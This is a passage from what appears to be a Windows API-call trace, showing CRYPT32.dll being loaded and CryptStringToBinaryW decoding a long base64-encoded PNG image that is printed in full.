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") returned 0x2701
[0102.916] LoadLibraryA (lpLibFileName="CRYPT32.dll") returned 0x766b0000
[0102.916] GetProcAddress (hModule=0x766b0000, lpProcName="CryptStringToBinaryW") returned 0x766e5f65
[0102.923] CryptStringToBinaryW (in: pszString="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", cchString=0x26f0, dwFlags=0x1, pbBinary=0x4c4450, pcbBinary=0x1ccf34, pdwSkip=0x0, 